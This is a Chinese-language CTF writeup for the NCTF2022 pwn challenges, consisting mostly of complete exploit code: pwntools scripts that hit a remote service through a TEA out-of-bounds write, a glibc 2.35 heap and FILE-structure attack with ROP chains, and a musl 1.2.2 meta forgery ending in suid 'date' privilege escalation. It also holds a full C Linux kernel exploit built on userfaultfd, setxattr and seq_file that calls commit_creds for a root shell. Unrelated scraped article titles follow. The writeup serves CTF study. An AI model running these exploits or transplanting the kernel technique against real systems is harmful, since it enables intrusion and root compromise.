总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家。

ezlogin

程序设计周大作业稍加改编出的题目。洞在Tea里,有个数组越界写,为了避开\x00截断,我给了*可以对其进行替换。最后base64带出flag。

from pwn import*
context(os='linux',arch='amd64',log_level='debug') s = remote('49.233.15.226', 8001) canary = u64(s.recv(7).rjust(8,b'\x00'))
success('canary=>' + hex(canary)) s.sendlineafter(b"3.exit\n>> ", b"1") s.sendlineafter(b"Please put the content you want to encrypt into '1.txt'", b'a'*0x52 + b'*'+chr((canary>>32)&0xff).encode()+b'c'*6+b'\x75**') s.sendlineafter(b"When you finish please input 'Y'\n", b"Y")
s.sendlineafter(b"5.RC4\n>> ", b"4")
s.sendlineafter(b"for example: 0x10 0x20 0x30 0x10 \n> ", b"0x10 0x20 0x30 0x10") sleep(1)
s.sendline(b"echo `base64 /flag` | base64 -d")
s.interactive()

ezlink

2.35堆利用,两次show,一次泄露heap_base,(可以反推,不过我直接用笨办法本地硬跑一下)利用沙盒残留的地址泄露libc_base,其他随便找个IO打一下即可。

from pwn import*
import time
context(os='linux',arch='amd64',log_level='debug') libc = ELF('./libc-2.35.s0') def add(content):
s.sendlineafter(b'>> ', b'1')
s.sendafter(b'Please input your secret\n', content) def delete():
s.sendlineafter(b'>> ', b'2') def show():
s.sendlineafter(b'>> ', b'3') def edit(content):
s.sendlineafter(b'>> ', b'4')
s.sendafter(b'Please input content\n', content) def get_heap_base(target):
start_time = time.time()
base = 0x550000000000
while(1):
if(((base+0x1000)>>12) ^ (base+0x1590) == target):
end_time = time.time()
print(end_time-start_time)
return base
if(base == 0x560000000000):
end_time = time.time()
print(end_time-start_time)
print('[-] get heap base failed')
return 0xdeadbeef
base+= 0x1000 def pwn():
add(b'a')
delete()
add(b'\x00')
show()
s.recvuntil(b'you only have two chances to peep a secret\n')
heap_base = u64(s.recv(6).ljust(8,b'\x00'))
success(hex(heap_base))
assert(heap_base & 0xff0000000000 == 0x550000000000)
heap_base = get_heap_base(heap_base)
assert(heap_base & 0xfff == 0)
success('heap_base=>' + hex(heap_base)) delete()
edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x300)))
add(b'\x60')
show()
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x246d60
success('libc_base=>' + hex(libc_base)) pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret_r12 = libc_base + 0x000000000011f497
pop_rsp_ret = libc_base + 0x0000000000035732
syscall_ret = libc_base + 0x0000000000091396 rop_addr = heap_base
orw_addr = heap_base
fake_IO_addr = heap_base + 0x17e0 fake_IO_file = p64(0) + p64(0)
fake_IO_file+= p64(0)*3 + p64(1) # IO
fake_IO_file+= p64(0)*7 + p64(0) # _chain
fake_IO_file+= p64(0) + p64(0xffffffffffffffff) + p64(0)
fake_IO_file+= p64(heap_base + 0x1000) + p64(0xffffffffffffffff) + p64(0)
fake_IO_file+= p64(heap_base + 0x1e10 + 0x50 - 0xe0) # _wide_data
fake_IO_file+= p64(0)*2 + p64(1) + p64(0)*5
fake_IO_file+= p64(libc_base + libc.sym['_IO_wfile_jumps']) print(hex(len(fake_IO_file))) add(fake_IO_file[:0xd0]) add(b'a')
delete()
edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x18a0)))
add(fake_IO_file[0xd0:]) add(b'a')
delete()
edit(p64(((heap_base+0x1000)>>12)^(libc_base+libc.sym['_IO_list_all'])))
add(p64(fake_IO_addr)) payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(0)
payload+= p64(heap_base + 0x1e10 + 0x58) + p64(pop_rdi_ret + 1)
payload+= p64(0)*6
payload+= p64(heap_base + 0x1e10 - 0x68)
payload+= p64(pop_rdi_ret) + p64(0)
payload+= p64(pop_rsi_ret) + p64(heap_base + 0x3000)
payload+= p64(pop_rdx_ret_r12) + p64(0x500) + p64(0)
payload+= p64(libc_base + libc.sym['read'])
payload+= p64(pop_rsp_ret) + p64(heap_base + 0x3000) add(payload) # _wide_vtable # open
orw = p64(pop_rdi_ret) + p64(heap_base + 0x3000 + 0x300)
orw+= p64(pop_rsi_ret) + p64(0)
orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)
orw+= p64(libc_base + libc.sym['open'])
# getdents64
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)
orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
orw+= p64(pop_rax_ret) + p64(217)
orw+= p64(syscall_ret)
# write
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)
orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
orw+= p64(libc_base + libc.sym['write'])
# open
orw+= p64(pop_rdi_ret) + p64(heap_base + 0x5000 + 0xa3)
orw+= p64(pop_rsi_ret) + p64(0)
orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)
orw+= p64(libc_base + libc.sym['open'])
# read
orw+= p64(pop_rdi_ret) + p64(4)
orw+= p64(pop_rsi_ret) + p64(heap_base + 0x6000)
orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
orw+= p64(libc_base + libc.sym['read'])
# puts
orw+= p64(pop_rdi_ret) + p64(heap_base + 0x6000)
orw+= p64(libc_base + libc.sym['puts'])
# exit
orw+= p64(libc_base + libc.sym['exit']) orw = orw.ljust(0x300,b'\x00')
orw+= b'.\x00' s.sendlineafter(b'>> ', b'5') # b _IO_wdoallocbuf sleep(1)
s.sendline(orw) s.recvuntil(b'NCTF')
success(b'NCTF' + s.recvuntil(b'}')) s.interactive() while True:
try:
s = remote('49.233.15.226', 8003)
pwn()
except:
s.close()
continue

babyLinkedList

1.2.2的musl,给了任意地址写,可以打栈,可以伪造meta,本地和远程布局稍有不同,给出了部分dockerfile可以拉个docker出来看看。最后加了个suid date提权

from pwn import*
context(os='linux',arch='amd64',log_level='debug') s = remote('49.233.15.226', 8002) def add(size,content):
s.sendlineafter(b'>> ', b'1')
s.sendlineafter(b'Please input size\n', str(size))
s.sendafter(b'Please input content\n', content) def delete():
s.sendlineafter(b'>> ', b'2') def show():
s.sendlineafter(b'>> ', b'3') def edit(content):
s.sendlineafter(b'>> ', b'4')
sleep(0.1)
s.send(content) add(0x20, b'a')
add(0x18, b'a')
edit(b'a'*0x20)
show()
# 0x7f60b75bcce0
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0xa6ce0
success('libc_base=>' + hex(libc_base)) __malloc_context = libc_base + 0xa3aa0
__stdout_used = libc_base + 0xa3410 edit(b'\x00'*0x18 + b'\x00'*5 + b'\x81' + b'\x02\x00' + p64(__stdout_used)) edit(p64(libc_base - 0x4000)) payload = b'/home/ctf/flag'+b'\x00'*(0x10-14)#b'\x00'*0x10
payload+= p64(libc_base - 0x4000 + 0x50)
payload+= p64(libc_base + 0x0000000000015286) # ret
payload+= b'\x00'*8
payload+= p64(libc_base + 0x0000000000050e9c) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38]; # open
payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base - 0x4000 + 0x20)
payload+= p64(libc_base + 0x0000000000016242) + p64(0)
payload+= p64(libc_base + 0x0000000000019418) + p64(0)
payload+= p64(libc_base + 0x0000000000018644) + p64(2)
payload+= p64(libc_base + 0x0000000000022747) # read
payload+= p64(libc_base + 0x0000000000015c8e) + p64(3)
payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)
payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)
payload+= p64(libc_base + 0x0000000000018644) + p64(0)
payload+= p64(libc_base + 0x0000000000022747) # write
payload+= p64(libc_base + 0x0000000000015c8e) + p64(1)
payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)
payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)
payload+= p64(libc_base + 0x0000000000018644) + p64(1)
payload+= p64(libc_base + 0x0000000000022747) # execv
payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base + 0xA120F)
payload+= p64(libc_base + 0x0000000000016242) + p64(0)
payload+= p64(libc_base + 0x0000000000019418) + p64(0)
payload+= p64(libc_base + 0x0000000000018644) + p64(59)
payload+= p64(libc_base + 0x0000000000022747) add(0x1500, payload) s.sendlineafter(b'>> ', b'0') sleep(1) s.sendline(b"date -f /home/ctf/flag")
s.interactive()

babyyLinkedList

userfaultfd+setxatter占位,seq打ROP。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <poll.h>
#include <string.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h> #define PAGE_SIZE 0x1000 int fd;
int ret;
sem_t sem_delete;
size_t seq_fd;
size_t seq_fds[0x100];
size_t kernel_offset;
char *user_buf;
char *sleep_buf; void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
} void get_shell()
{
if (getuid() == 0)
{
puts("\033[32m\033[1m[+] Successful to get the root.\033[0m");
system("cat /flag;/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
} void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API error"); ur.range.start = (unsigned long)fault_page; // the area we want to monitor
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
ErrExit("[-] ioctl-UFFDIO_REGISTER error");
// open a thread, receive the wrong signal, and the handle it
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if(s!=0)
ErrExit("[-] pthread-create error");
} typedef struct
{
uint64_t size;
char *buf;
}Data; void add(uint64_t size, char *buf)
{
Data data;
data.size = size;
data.buf = buf;
ioctl(fd, 0x6666, &data);
} void delete(char *buf)
{
Data data;
data.size = 0;
data.buf = buf;
ioctl(fd, 0x7777, &data);
} void* delete_thread(void* index)
{
puts("[+] delete thread start");
sem_wait(&sem_delete);
delete(sleep_buf);
return NULL;
} void *userfault_leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg; struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1); if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc; puts("\033[34m\033[1m[+] leak handler created\033[0m");
pthread_t thr_delete;
pthread_create(&thr_delete, NULL, delete_thread, (void*)0);
sem_post(&sem_delete); sleep(1);
if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error"); // init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
} void *userfault_write_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg; struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1); if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc; puts("\033[34m\033[1m[+] write handler created\033[0m"); pthread_t thr_delete;
pthread_create(&thr_delete, NULL, delete_thread, (void*)1);
sem_post(&sem_delete); sleep(1); memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] write handler done");
} void *userfault_sleep_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg; struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1); if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc; puts("[+] sleep handler created");
sleep(100); // init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] sleep handler done");
} size_t pop_rdi_ret = 0xffffffff81086aa0;
size_t pop_rbp_ret = 0xffffffff810005ae;
size_t init_cred = 0xffffffff82a5fa40;
size_t commit_creds = 0xffffffff810c3d30;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a44;
size_t add_rsp_ret = 0xffffffff8188fba1; void *userfault_hijack_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg; struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1); if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc; puts("\033[34m\033[1m[+] hijack handler created\033[0m");
puts("[+] tigger.."); pop_rdi_ret += kernel_offset;
pop_rbp_ret += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset; __asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, pop_rdi_ret;"
"mov rbp, init_cred;"
"mov rbx, pop_rbp_ret;"
"mov r11, 0x246;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0xaaaaaaaaaa;"
"xor rax, rax;"
"mov rcx, 0xbbbbbbbbbb;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
); printf("[+] uid: %d gid: %d\n", getuid(), getgid());
get_shell(); // init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] hijack handler done");
} int main()
{
char *leak_buf;
char *write_buf;
char* hijack_buf;
char leak_data[0x10];
char write_data[0x10];
cpu_set_t cpu_set; CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set); sem_init(&sem_delete, 0, 0); fd = open("/proc/babyLinkedList", O_RDONLY); //for(int i=0; i<100; i++)
// if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
// ErrExit("open stat error"); leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(leak_buf, userfault_leak_handler); write_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(write_buf, userfault_write_handler); sleep_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(sleep_buf, userfault_sleep_handler); add(0x20, leak_buf);
delete(leak_data);
kernel_offset = ((size_t*)leak_data)[0];
kernel_offset-= 0xffffffff812f2db0;
printf("\033[33m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset); add(0x20, write_buf); hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff8188fba1 + kernel_offset; setxattr("/tmp/exp", "FXC", hijack_buf + PAGE_SIZE - 8, 32, 0);
return 0;
}

NCTF2022 - pwn 部分 wp的更多相关文章

  1. CG-CTF pwn部分wp

    面向pwn刷cgctfPWN1,When did you born题目给了一个ELF文件,和一个.C文件先运行ELF,大概如下What’s Your Birth?0What’s Your Name?0 ...

  2. Nice to meet you

    Who am i 详情可以参见我的这一篇博文 Why and how 其实之前就想在博客园开创自己的博客了,但是自己之前已经利用自己的GitHub搭建了一个 博客,然后的话自己写的文章即水又不多,说到 ...

  3. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  6. 2021能源PWN wp

    babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...

  7. bugku - pwn wp

    一. PWN1 题目:nc 114.116.54.89 10001 1.  直接kali里面跑nc 2.ls看看有啥 3.明显有一个flag cat查看一下 搞定 二 . PWN2 题目:给了nc 1 ...

  8. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  9. Pwn入坑指南

    栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞 ...

  10. Pwn with File结构体(一)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...

随机推荐

  1. Logstash:解析 JSON 文件并导入到 Elasticsearch 中

    转载自:https://elasticstack.blog.csdn.net/article/details/114383426 在今天的文章中,我们将详述如何使用 Logstash 来解析 JSON ...

  2. Ubuntu20.04和Docker环境下安装Redash中文版

    创建Ubunt20.04虚拟机,请参考:https://www.linuxidc.com/Linux/2020-03/162547.htm 一.安装基础环境: # 1.更换APT国内源 sudo se ...

  3. typescript中对象属性可选属性与只读属性与索引签名

    可选属性 type类型别名 type 会给一个类型起个新名字. type 有时和 interface 很像,但是可以作用于原始值(基本类型),联合类型,元组以及其它任何你需要手写的类型. interf ...

  4. OpenJudge 1.5.35:求出e的值

    35:求出e的值 总时间限制:1000ms 内存限制:65536kB 描述 利用公式e = 1 + 1/1! + 1/2! + 1/3! + ... + 1/n! 求e . 输入 输入只有一行,该行包 ...

  5. 为什么中国的To B企业都活的很“惨”?

    说[中国的To B企业都活的很"惨"]容易引起误解,提问者的To B企业本意应该是软件服务,尤其是指CRM.ERP等强个性化需求的企业管理类软件服务,现阶段更侧重于数字化转型市场中 ...

  6. WPF开发经验-实现自带触控键盘的TextBox

    一 引入 项目有个新需求,当点击或触碰TextBox时,基于TextBox的相对位置,弹出一个自定义的Keyboard,如下图所示: 二 KeyboardControl 先实现一个自定义的Keyboa ...

  7. Python抖音视频去水印,并打包成exe可执行文件

    前言 抖音里面的视频保存之后,会发现全都带有水印,所以如何解决视频去除水印就很有必要,所以教程来了,本次教程不仅会教大家如何去除视频里的水印,并且教大家将程序制作成exe可执行文件,可以发给你的好友使 ...

  8. 220722 T1 分树 (模拟)

    dfs一遍求出以每个节点为根的子树大小,然后枚举n的约数,对于每个约数i,统计sz[ ]是i的倍数的有多少个(开桶统计),如果有n/i个则答案+1. 这道题也就是个结论题,画图分析一下.复杂度O(n* ...

  9. MyBatis(入参的类型和日志记录)

    入参的类型是对象 1. 新增的参数是对象 2. 空值的处理,占位符 字段,jdbcType=VARCHAR          字符串 字段,jdbcType=DATE                  ...

  10. 基于tauri打造的HTTP API客户端工具-CyberAPI

    国庆长假和朋友聚会的时候,和朋友谈起最近这段时间捣鼓tauri,写了一个HTTP API客户端工具.『你写了这么多东西,其实有想过是为了啥不?』为了啥这是一个很大的命题,当初每个项目的时候都想过它应该 ...